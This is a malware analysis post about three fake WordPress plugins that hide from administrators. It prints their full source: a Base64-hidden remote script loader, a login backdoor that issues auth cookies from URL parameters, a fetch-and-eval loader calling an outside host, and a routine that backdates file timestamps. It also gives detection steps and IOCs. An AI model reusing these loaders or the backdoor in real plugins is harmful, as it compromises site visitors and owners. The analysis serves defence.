The hardest malware to find on a website is the kind that doesn’t run when you look for it. If you’re logged in as an administrator, a plugin that checks is_user_logged_in() first can behave perfectly, and the site owner never sees the problem that visitors are reporting.

This post covers three fake plugins that do exactly that. They’re dressed up as performance and media tools, and they have different payloads and different extras, but one design.

PluginCollectedPayloadStays quiet forExtras
Fusion Optimizer Pro 1.7.3June 2024<script src> from apidevst.com, in the page headerlogged-in admins, login and register pages, admin screensflushes caches, backdates its own files by 371 days
A “word-salad” plugin (no name in my copy)March 2025not in my copyn/ahidden login-as-anyone URL, flag file, self-hiding
Xtra Media Tools 1.0.0March 2025fetch() + eval() from skillboxultra.liveany logged-in user, static files, admin, feedsdecoy class check

Fusion Optimizer Pro#

The header promises “a powerful WordPress plugin that boosts your site’s performance by enhancing page load speeds.” Both the plugin and author URLs are icwp.io/fusionoptimizerproauthor. I checked that: icwp.io redirects any path, including this invented one, to what looks like a security-plugin vendor’s link tracker. It was probably picked because a real-looking URL that never 404s helps a plugin pass a quick glance.

The loader#

function fop_enqueue_conditional_scripts() {
    if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
        return;
    }
    if (current_user_can('administrator')) {
        return;
    }
    $encoded_url = 'aHR0cHM6Ly9hcGlkZXZzdC5jb20vdWFXZmhDWkhPSVJxZ20zc1FBOFIyaFNsb2FheXRMZ2pxZXZxLUdrQ1p2b0YK';
    wp_register_script('fop_custom_script', base64_decode($encoded_url), array(), null, false);
    wp_enqueue_script('fop_custom_script');
}

The script is skipped on the login and registration pages, in the admin, and for administrators. Everyone else gets https://apidevst.com/uaWfhCZHOIRqgm3sQA8R2hSloaaytLgjqevq-GkCZvoF added to the page header (in_footer is false) as a normal registered script, so it looks like any other plugin’s JavaScript in the page source.

There’s a tell in the Base64. It ends in K, and decoding it gives a URL with a trailing newline, which is typically what you get from running echo instead of echo -n when encoding it. The script version argument is null, so unlike most registered scripts it has no ?ver= on the end.

Cache flushing#

On activation the plugin calls fop_clear_caches(), which flushes the object cache and then purges W3 Total Cache, WP Super Cache, WP Fastest Cache and WP Rocket. This looks like a legitimate feature. It also has a practical purpose: cached copies of the site’s pages were generated before the plugin existed, so purging them makes the new script show up on every page immediately.

Timestamp forging#

The second activation hook has a deliberately boring name, fop_clear_caches_date:

function fop_recursive_date_change($path) {
    $days_to_subtract = 371;
    if (is_dir($path)) {
        $new_time = strtotime("-$days_to_subtract days");
        touch($path, $new_time);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo->getRealPath(), $new_time);
        }
    }
    ...
}

When an administrator activates the plugin, every file and folder inside it has its modification time set to 371 days ago. A plugin installed yesterday looks like it has been on the site for over a year, so sorting by “recently modified” or checking for changes in the last few weeks won’t show it. As with the query.php watchdog, the lesson is that file times can be written by whoever has write access, so they can’t prove anything.

The forgery is crude, though. $new_time is calculated once, so every file and the plugin’s folder get exactly the same timestamp, to the second. Real plugins have files with a spread of times.

The Word-Salad Plugin#

The second sample has no plugin header, and its function names are random dictionary words: selfishly_depot_impeccable_queasy, serialize_covenant_premise_joshingly, hover_urgently_integer, swift_implode_everlasting. If every build uses different words, a signature based on function names is useless. It’s Fusion’s fop_ prefix idea taken to the extreme.

The structure suggests it comes from the same codebase as Fusion. Compare this function (which I assume is the activation hook; the registration line isn’t in my copy) with Fusion’s fop_clear_caches():

function serialize_covenant_premise_joshingly()
{
    $p = __DIR__ . "/" . "license.txt";
    file_put_contents($p, "e2075474294983e013ee4dd2201c7a73=1");
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    yuppify_filthy_chasuble();
}

It has the same wp_using_ext_object_cache() check, the same wp_cache_flush(), and then a call to a purge function. The word-salad version just renames everything. It also adds a flag file: a license.txt in the plugin folder that contains <md5-looking key>=1 after the function above runs and =0 after hover_urgently_integer runs. Presumably that’s activation and deactivation. A file named license.txt is ordinary in a plugin folder, and the loader can read the flag without touching the database.

The hidden login#

The part that matters is the first function:

function selfishly_depot_impeccable_queasy()
{
    if (isset($_GET['digit_direct']) && isset($_GET['crackle_speedily'])) {
        $temp = intval($_GET['digit_direct']);

        if ($_GET['crackle_speedily'] !== "[REDACTED]") {
            exit;
        }
        wp_set_auth_cookie($temp);
        wp_redirect("/wp-admin");
        exit;
    }
}
add_action('init', 'selfishly_depot_impeccable_queasy');

A request to any page with ?digit_direct=<user ID>&crackle_speedily=<secret> makes WordPress issue a login cookie for that user and redirect to /wp-admin. There’s no password, no check that the user is an administrator, and the login form never runs, so a password check and most two-factor plugins are skipped. An attacker tries user ID 1 (or loops through IDs) and is in.

A wrong secret gets a blank page (exit), which tells a casual scanner nothing.

I’ve redacted the 48-character secret. Anyone who has it can log in to a site that still runs this code. The SHA-256 of it is in the IOCs below if you want to compare it with a suspicious value you found. The parameter names are the better thing to search your logs for.

What’s missing#

The copy I have is incomplete. It registers a filter on all_plugins with a callback named provision_basket_father_schematise, and the activation function calls yuppify_filthy_chasuble(). Neither function exists in the file. They must be in another file of the same plugin. The all_plugins callback is presumably the same plugin-hiding trick used by the NeuroForge plugin, and yuppify_filthy_chasuble() is presumably the cache purge. I can’t see the payload in this copy, so I don’t know what the plugin delivers.

Xtra Media Tools#

The third plugin claims to improve the media library with “bulk editing, automatic optimization, and custom categorization.” It credits a “Jordan Smith” at jordansmith.dev. It’s the most carefully built of the three at keeping quiet.

Silent unless you’re a visitor#

if ( ! class_exists('HTTP_X_FORWARDED_FOR') ) {

    if ( function_exists('is_user_logged_in') && is_user_logged_in() ) {
        return false;
    }

    if ( ! empty($_COOKIE) ) {
        foreach ($_COOKIE as $key => $value) {
            if ( strpos($key, 'wordpress_logged_in_') === 0 ) {
                return false;
            }
        }
    }
  • class_exists('HTTP_X_FORWARDED_FOR') is a decoy. There’s no such class, so the condition is always true. The name is an HTTP header, which makes the line look like proxy handling.
  • A return at the top level of an included file stops it, so for a logged-in user the plugin registers nothing at all. It checks twice: the WordPress function, and a scan of the cookies for wordpress_logged_in_.
  • It silences PHP errors (display_errors, error_reporting, log_errors) and sets a 5 second socket timeout.
  • A long regular expression skips URLs containing wp-admin, wp-login.php, xmlrpc.php, wp-json, /feed, wp-content, and file extensions like .css, .js, .png, .pdf and .zip. The payload only loads on real HTML pages.

The payload#

The URL is stored as hex and shown with esc_url(), which is harmless, but it makes the line look like standard WordPress output:

$partner_url = hex2bin("68747470733A2F2F736B696C6C626F78756C7472612E6C6976652F706C67");   // https://skillboxultra.live/plg

It’s added to the footer as a small script, and this is the key difference from Fusion:

fetch("<?php echo esc_url($partner_url); ?>", { cache: "no-store" })
    .then(function(response) { return response.text(); })
    .then(function(code) {
        var scriptContent = code.replace(/<\/?.*?script.*?>/gi, '');
        try { eval(scriptContent); } catch (e) { console.error("Eval error:", e); }
    })

The browser downloads text from the attacker’s server, strips any <script> tags from it, and runs the result with eval(). There’s no <script src> to find, and the payload isn’t in the HTML, so a scan of the page source sees only a small fetch call. cache: "no-store" means every visitor gets a fresh copy, so the server can change it at will. It’s the same server-controlled idea as the XOR WebSocket loader.

I did not request skillboxultra.live/plg, so I can’t say what it returns. It could well return different things depending on the visitor.

The Domains Today#

Registry (RDAP) data and public DNS only; I didn’t contact either server.

DomainUsed byRegisteredRegistrarDNS today
apidevst.comFusion Optimizer Pro2025-06-17WebNic.ccCloudflare
skillboxultra.liveXtra Media Tools2025-02-21Namecheapno address record

skillboxultra.live was registered about a month before I collected that sample, so that one is plausibly the original. apidevst.com, though, was registered a year after the Fusion sample was collected (June 2024). It had lapsed and was registered again, so don’t read its current DNS as the original operator’s.

Detection & Cleanup#

  • Test as a visitor. View the site in a private window while logged out, with DevTools open. Look for unfamiliar scripts in the <head> and for fetch() calls to unknown domains on page load. An admin’s browser will never show these.
  • Look for the plugins themselves. Search wp-content/plugins/ for Fusion Optimizer Pro, Xtra Media Tools, and any plugin whose folder contains a license.txt made of one <hash>=0 or =1 line.
  • Check timestamps for sameness. In a suspicious plugin folder, find . -printf '%T+ %p\n' | sort (GNU find) is enough. If every file and directory has an identical time to the second, something ran touch on them.
  • Search the code. These patterns are rarely legitimate in a plugin:
    • wp_set_auth_cookie( used with $_GET or $_REQUEST.
    • base64_decode( or hex2bin( building a URL that goes into wp_register_script or a fetch call.
    • eval( inside inline JavaScript that a PHP plugin prints.
    • touch( combined with RecursiveDirectoryIterator.
  • Check your logs for the hidden login. Look for requests with both digit_direct and crackle_speedily (the names in my sample; a new build may use other words), or any request that is followed immediately by a redirect to /wp-admin and a new login cookie. Every user ID the attacker used shows up in the first parameter.
  • After removing the plugin, end all sessions, reset admin passwords, and rotate the keys and salts. A login cookie issued by wp_set_auth_cookie() is a real session.

IOCs#

Plugin:   Fusion Optimizer Pro 1.7.3  (functions fop_*, handle fop_custom_script)
Script:   https://apidevst.com/uaWfhCZHOIRqgm3sQA8R2hSloaaytLgjqevq-GkCZvoF   (trailing newline in the decoded Base64)
URIs:     icwp.io/fusionoptimizerproauthor  (redirects any path)
Plugin:   Xtra Media Tools 1.0.0  (Author: Jordan Smith, jordansmith.dev, xtramediatools.com)
Payload:  https://skillboxultra.live/plg   (hex in the PHP; fetched and eval'd by the browser)
Params:   ?digit_direct=<user id>&crackle_speedily=<secret>   (word-salad plugin)
Secret:   48 chars, redacted. sha256 = 74c930ee790b3f3bac9b9323ffc89f2c5bcfbd3969449c802438e8079fdaf5bf
Flag:     <plugin dir>/license.txt containing e2075474294983e013ee4dd2201c7a73=0|1
Names:    selfishly_depot_impeccable_queasy, serialize_covenant_premise_joshingly,
          hover_urgently_integer, provision_basket_father_schematise (filter callback, missing in my copy)

Samples#

fusion-optimizer-pro.php
<?php
/*
Plugin Name: Fusion Optimizer Pro
Plugin URI: https://icwp.io/fusionoptimizerproauthor
Description: Fusion Optimizer Pro is a powerful WordPress plugin that boosts your site's performance by enhancing page load speeds, optimizing resources, and improving efficiency.
Version: 1.7.3
Text Domain: fusion-optimizer-pro
Author: Fusion Optimizer Plugin
Author URI: https://icwp.io/fusionoptimizerproauthor
License: GPL2
*/


register_activation_hook(__FILE__, 'fop_clear_caches');
register_activation_hook(__FILE__, 'fop_clear_caches_date');


add_action('wp_enqueue_scripts', 'fop_enqueue_conditional_scripts');

// Clears all caches on activation
function fop_clear_caches() {
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    fop_purge_caches();
}

// Purges caches from various caching plugins
function fop_purge_caches() {
    if (function_exists('wp_cache_clear_cache')) {
        wp_cache_clear_cache();
    }
    if (function_exists('w3tc_flush_all')) {
        w3tc_flush_all();
    }
    if (class_exists('WpFastestCache')) {
        $wpfc = new WpFastestCache();
        $wpfc->deleteCache(true);
    }
    if (function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
    }
}


function fop_enqueue_conditional_scripts() {
    if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
        return;
    }
    if (current_user_can('administrator')) {
        return;
    }
    $encoded_url = 'aHR0cHM6Ly9hcGlkZXZzdC5jb20vdWFXZmhDWkhPSVJxZ20zc1FBOFIyaFNsb2FheXRMZ2pxZXZxLUdrQ1p2b0YK';
    wp_register_script('fop_custom_script', base64_decode($encoded_url), array(), null, false);
    wp_enqueue_script('fop_custom_script');
}


function fop_clear_caches_date() {
    if (!current_user_can('administrator')) {
        return;
    }
    $plugin_dir = plugin_dir_path(__FILE__);
    fop_recursive_date_change($plugin_dir);
}


function fop_recursive_date_change($path) {
    $days_to_subtract = 371;
    if (is_dir($path)) {
        $new_time = strtotime("-$days_to_subtract days");
        touch($path, $new_time);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo->getRealPath(), $new_time);
        }
    } else {
        touch($path, strtotime("-$days_to_subtract days"));
    }
}
word-salad plugin (secret redacted)
<?php
add_filter('all_plugins', 'provision_basket_father_schematise');

function selfishly_depot_impeccable_queasy()
{
    if (isset($_GET['digit_direct']) && isset($_GET['crackle_speedily'])) {
        $temp = intval($_GET['digit_direct']);

        if ($_GET['crackle_speedily'] !== "[REDACTED]") {
            exit;
        }
        wp_set_auth_cookie($temp);
        wp_redirect("/wp-admin");
        exit;
    }
}

add_action('init', 'selfishly_depot_impeccable_queasy');

function serialize_covenant_premise_joshingly()
{
    $p = __DIR__ . "/" . "license.txt";
    file_put_contents($p, "e2075474294983e013ee4dd2201c7a73=1");
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    yuppify_filthy_chasuble();
}
function hover_urgently_integer()
{
    $p = __DIR__ . "/" . "license.txt";
    file_put_contents($p, "e2075474294983e013ee4dd2201c7a73=0");
}

function swift_implode_everlasting($input)
{
    $string = "iterate_possible_extra_large remorseful_honored_sedately_categorise";
    $result = str_split($string, strlen("lyre_bravely_ashamed_readily_programme"));
    return $result;
}

function pave_willfully_minority($input)
{
    $array = array("clearly_encouragement_chatter_generously_boiling_badly", "short_matter_attraction_back_hydrolyse_sanity_underachieve", "profane_accredit_mushy_brightly_damp_describe_spice_achieve");
    $result = array_reverse($array);
    return $result;
}
xtra-media-tools.php
<?php
/*
Plugin Name: Xtra Media Tools
Plugin URI: https://xtramediatools.com/
Description: Xtra Media Tools enhances the WordPress media library with advanced features like bulk editing, automatic optimization, and custom categorization.
Version: 1.0.0
Author: Jordan Smith
Author URI: https://jordansmith.dev/
License: GPL2
*/

if ( ! class_exists('HTTP_X_FORWARDED_FOR') ) {

    if ( function_exists('is_user_logged_in') && is_user_logged_in() ) {
        return false;
    }

    if ( ! empty($_COOKIE) ) {
        foreach ($_COOKIE as $key => $value) {
            if ( strpos($key, 'wordpress_logged_in_') === 0 ) {
                return false;
            }
        }
    }

    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 5);

    $bad_uri = '#\?view=login|\?view=registration|\?wc-ajax|xmlrpc\.php|wp-includes|wp-content|wp-login\.php|wp-cron\.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';

    $ruri = strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/"));
    if ( preg_match($bad_uri, $ruri) ) {
        return;
    }

    function insert_partner_script_in_footer() {
        $partner_url = hex2bin("68747470733A2F2F736B696C6C626F78756C7472612E6C6976652F706C67");
        ?>
        <script type="text/javascript">
        document.addEventListener("DOMContentLoaded", function () {
            fetch("<?php echo esc_url($partner_url); ?>", { cache: "no-store" })
                .then(function(response) {
                    return response.text();
                })
                .then(function(code) {
                    var scriptContent = code.replace(/<\/?.*?script.*?>/gi, '');
                    try {
                        eval(scriptContent);
                    } catch (e) {
                        console.error("Eval error:", e);
                    }
                })
                .catch(function(error) {
                    console.error("Fetch error:", error);
                });
        });
        </script>
        <?php
    }
    
    add_action('wp_footer', 'insert_partner_script_in_footer');
}
?>